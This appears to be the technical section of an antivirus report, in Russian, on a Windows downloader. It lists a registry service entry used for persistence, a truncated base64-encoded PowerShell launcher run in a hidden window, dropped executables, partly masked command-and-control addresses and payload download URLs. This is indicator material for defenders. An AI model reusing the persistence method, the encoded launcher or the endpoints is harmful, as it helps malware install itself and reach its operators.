Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\pnpsetup] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\pnpsetup] 'ImagePath' = '"%WINDIR%\SysWOW64\netbios\pnpsetup.exe"'
- 'pnpsetup' "%WINDIR%\SysWOW64\netbios\pnpsetup.exe"
- 'pnpsetup' %WINDIR%\SysWOW64\netbios\pnpsetup.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\r5mspzm.exe
- %WINDIR%\syswow64\netbios\pnpsetup.exe
- %TEMP%\office2019\r5mspzm.exe в %WINDIR%\syswow64\netbios\pnpsetup.exe
- '17#.#4.215.84':80
- '85.##.207.108':8080
- http://ca##yu.id/wp-includes/jSi7Fd1r2wtg64969/
- http://85.##.207.108:8080/occ06C6IcKp/bKlWqv08ZzLbKb/SCoXWlFhPqVsMzYZO/Xumx1lfnBLuYlDqh0O2/6gC1o9c65A/zeDzt7d3Gn2x50BjB/ via 85.##.207.108
- DNS ASK ca##yu.id
- '%TEMP%\office2019\r5mspzm.exe'
- '%WINDIR%\syswow64\netbios\pnpsetup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)